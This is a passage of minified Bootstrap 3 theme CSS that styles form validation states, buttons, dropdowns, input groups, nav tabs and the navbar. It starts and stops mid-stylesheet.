select[multiple].form-control{height:auto}.form-group-lg .form-control-static{height:54px;min-height:38px;padding:15px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:47.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:38px;height:38px;line-height:38px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback,.input-group-lg+.form-control-feedback,.form-group-lg .form-control+.form-control-feedback{width:54px;height:54px;line-height:54px}.input-sm+.form-control-feedback,.input-group-sm+.form-control-feedback,.form-group-sm .form-control+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline,.has-success.radio label,.has-success.checkbox label,.has-success.radio-inline label,.has-success.checkbox-inline label{color:#468847}.has-success .form-control{border-color:#468847;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#356635;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b}.has-success .input-group-addon{color:#468847;background-color:#dff0d8;border-color:#468847}.has-success .form-control-feedback{color:#468847}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline,.has-warning.radio label,.has-warning.checkbox label,.has-warning.radio-inline label,.has-warning.checkbox-inline label{color:#c09853}.has-warning .form-control{border-color:#c09853;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#a47e3c;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e}.has-warning .input-group-addon{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.has-warning .form-control-feedback{color:#c09853}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline,.has-error.radio label,.has-error.checkbox label,.has-error.radio-inline label,.has-error.checkbox-inline label{color:#b94a48}.has-error .form-control{border-color:#b94a48;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#953b39;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392}.has-error .input-group-addon{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.has-error .form-control-feedback{color:#b94a48}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#959595}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{padding-top:9px;margin-top:0;margin-bottom:0}.form-horizontal .radio,.form-horizontal .checkbox{min-height:29px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:9px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:15px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;padding:8px 12px;font-size:14px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn:focus,.btn:active:focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn.active.focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus,.btn.focus{color:#555555;text-decoration:none}.btn:active,.btn.active{background-image:none;outline:0;box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);opacity:0.65;box-shadow:none}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#555555;background-color:#ffffff;border-color:rgba(0,0,0,0.1)}.btn-default:focus,.btn-default.focus{color:#555555;background-color:#e6e6e6;border-color:rgba(0,0,0,0.1)}.btn-default:hover{color:#555555;background-color:#e6e6e6;border-color:rgba(0,0,0,0.1)}.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{color:#555555;background-color:#e6e6e6;background-image:none;border-color:rgba(0,0,0,0.1)}.btn-default:active:hover,.btn-default.active:hover,.open>.dropdown-toggle.btn-default:hover,.btn-default:active:focus,.btn-default.active:focus,.open>.dropdown-toggle.btn-default:focus,.btn-default:active.focus,.btn-default.active.focus,.open>.dropdown-toggle.btn-default.focus{color:#555555;background-color:#d4d4d4;border-color:rgba(0,0,0,0.1)}.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled.focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default.focus{background-color:#ffffff;border-color:rgba(0,0,0,0.1)}.btn-default .badge{color:#ffffff;background-color:#555555}.btn-primary{color:#ffffff;background-color:#2fa4e7;border-color:#2fa4e7}.btn-primary:focus,.btn-primary.focus{color:#ffffff;background-color:#178acc;border-color:#105b87}.btn-primary:hover{color:#ffffff;background-color:#178acc;border-color:#1684c2}.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{color:#ffffff;background-color:#178acc;background-image:none;border-color:#1684c2}.btn-primary:active:hover,.btn-primary.active:hover,.open>.dropdown-toggle.btn-primary:hover,.btn-primary:active:focus,.btn-primary.active:focus,.open>.dropdown-toggle.btn-primary:focus,.btn-primary:active.focus,.btn-primary.active.focus,.open>.dropdown-toggle.btn-primary.focus{color:#ffffff;background-color:#1474ac;border-color:#105b87}.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled.focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary.focus{background-color:#2fa4e7;border-color:#2fa4e7}.btn-primary .badge{color:#2fa4e7;background-color:#ffffff}.btn-success{color:#ffffff;background-color:#73a839;border-color:#73a839}.btn-success:focus,.btn-success.focus{color:#ffffff;background-color:#59822c;border-color:#324919}.btn-success:hover{color:#ffffff;background-color:#59822c;border-color:#547a29}.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{color:#ffffff;background-color:#59822c;background-image:none;border-color:#547a29}.btn-success:active:hover,.btn-success.active:hover,.open>.dropdown-toggle.btn-success:hover,.btn-success:active:focus,.btn-success.active:focus,.open>.dropdown-toggle.btn-success:focus,.btn-success:active.focus,.btn-success.active.focus,.open>.dropdown-toggle.btn-success.focus{color:#ffffff;background-color:#476723;border-color:#324919}.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled.focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success.focus{background-color:#73a839;border-color:#73a839}.btn-success .badge{color:#73a839;background-color:#ffffff}.btn-info{color:#ffffff;background-color:#033c73;border-color:#033c73}.btn-info:focus,.btn-info.focus{color:#ffffff;background-color:#022241;border-color:#000000}.btn-info:hover{color:#ffffff;background-color:#022241;border-color:#011d37}.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{color:#ffffff;background-color:#022241;background-image:none;border-color:#011d37}.btn-info:active:hover,.btn-info.active:hover,.open>.dropdown-toggle.btn-info:hover,.btn-info:active:focus,.btn-info.active:focus,.open>.dropdown-toggle.btn-info:focus,.btn-info:active.focus,.btn-info.active.focus,.open>.dropdown-toggle.btn-info.focus{color:#ffffff;background-color:#01101f;border-color:#000000}.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled.focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info.focus{background-color:#033c73;border-color:#033c73}.btn-info .badge{color:#033c73;background-color:#ffffff}.btn-warning{color:#ffffff;background-color:#dd5600;border-color:#dd5600}.btn-warning:focus,.btn-warning.focus{color:#ffffff;background-color:#aa4200;border-color:#5e2400}.btn-warning:hover{color:#ffffff;background-color:#aa4200;border-color:#a03e00}.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{color:#ffffff;background-color:#aa4200;background-image:none;border-color:#a03e00}.btn-warning:active:hover,.btn-warning.active:hover,.open>.dropdown-toggle.btn-warning:hover,.btn-warning:active:focus,.btn-warning.active:focus,.open>.dropdown-toggle.btn-warning:focus,.btn-warning:active.focus,.btn-warning.active.focus,.open>.dropdown-toggle.btn-warning.focus{color:#ffffff;background-color:#863400;border-color:#5e2400}.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled.focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning.focus{background-color:#dd5600;border-color:#dd5600}.btn-warning .badge{color:#dd5600;background-color:#ffffff}.btn-danger{color:#ffffff;background-color:#c71c22;border-color:#c71c22}.btn-danger:focus,.btn-danger.focus{color:#ffffff;background-color:#9a161a;border-color:#570c0f}.btn-danger:hover{color:#ffffff;background-color:#9a161a;border-color:#911419}.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{color:#ffffff;background-color:#9a161a;background-image:none;border-color:#911419}.btn-danger:active:hover,.btn-danger.active:hover,.open>.dropdown-toggle.btn-danger:hover,.btn-danger:active:focus,.btn-danger.active:focus,.open>.dropdown-toggle.btn-danger:focus,.btn-danger:active.focus,.btn-danger.active.focus,.open>.dropdown-toggle.btn-danger.focus{color:#ffffff;background-color:#7b1115;border-color:#570c0f}.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled.focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger.focus{background-color:#c71c22;border-color:#c71c22}.btn-danger .badge{color:#c71c22;background-color:#ffffff}.btn-link{font-weight:400;color:#2fa4e7;border-radius:0}.btn-link,.btn-link:active,.btn-link.active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#157ab5;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:14px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;transition:opacity 0.15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;transition-property:height, visibility;transition-duration:0.35s;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid \9;border-right:4px solid transparent;border-left:4px solid transparent}.dropup,.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#ffffff;background-clip:padding-box;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;box-shadow:0 6px 12px rgba(0,0,0,0.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{color:#ffffff;text-decoration:none;background-color:#2fa4e7}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#ffffff;text-decoration:none;background-color:#2fa4e7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999999}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#999999;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid \9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-group.open .dropdown-toggle.btn-link{box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle="buttons"]>.btn input[type="radio"],[data-toggle="buttons"]>.btn-group>.btn input[type="radio"],[data-toggle="buttons"]>.btn input[type="checkbox"],[data-toggle="buttons"]>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*="col-"]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:54px;padding:14px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:54px;line-height:54px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn,select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn,select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:8px 12px;font-size:14px;font-weight:400;line-height:1;color:#555555;text-align:center;background-color:#eeeeee;border:1px solid #cccccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:14px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eeeeee}.nav>li.disabled>a{color:#999999}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999999;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eeeeee;border-color:#2fa4e7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #dddddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555555;cursor:default;background-color:#ffffff;border:1px solid #dddddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #dddddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#ffffff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#ffffff;background-color:#2fa4e7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #dddddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #dddddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#ffffff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;border-top:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-right:15px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-right:-15px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:6px;margin-bottom:6px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:6px;margin-bottom:6px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left !important}.navbar-right{float:right !important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#2fa4e7;border-color:#1995dc}.navbar-default .navbar-brand{color:#ffffff}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#ffffff;background-color:none}.navbar-default 